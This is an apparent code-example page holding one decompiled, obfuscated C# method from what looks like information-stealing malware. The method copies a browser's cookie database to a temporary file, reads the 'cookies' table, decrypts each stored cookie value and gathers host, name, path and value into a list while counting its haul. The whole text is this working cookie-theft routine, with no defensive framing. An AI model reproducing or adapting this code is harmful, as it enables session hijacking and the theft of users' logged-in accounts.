Esempio n. 1
0
    // Token: 0x060001CD RID: 461 RVA: 0x0000EA64 File Offset: 0x0000CC64
    private static List <Class21> smethod_2(string string_0)
    {
        List <Class21> result;

        if (!File.Exists(string_0))
        {
            result = null;
        }
        else
        {
            try
            {
                string text = Dirs.WorkDir + "test.fv";
                if (File.Exists(text))
                {
                    File.Delete(text);
                }
                File.Copy(string_0, text, true);
                Class12        @class = new Class12(text);
                List <Class21> list   = new List <Class21>();
                @class.method_4("cookies");
                for (int i = 0; i < @class.method_1(); i++)
                {
                    try
                    {
                        string text2 = string.Empty;
                        try
                        {
                            text2 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(i, 12)), null));
                        }
                        catch
                        {
                        }
                        if (text2 != "")
                        {
                            List <Class21> list2  = list;
                            Class21        class2 = new Class21();
                            class2.method_1(@class.method_0(i, 1));
                            class2.name = @class.method_0(i, 2);
                            class2.path = @class.method_0(i, 4);
                            class2.method_3(@class.method_0(i, 5));
                            class2.method_5(@class.method_0(i, 6));
                            class2.value = text2;
                            list2.Add(class2);
                            Class20.int_0++;
                        }
                    }
                    catch
                    {
                    }
                }
                File.Delete(text);
                result = list;
            }
            catch
            {
                result = null;
            }
        }
        return(result);
    }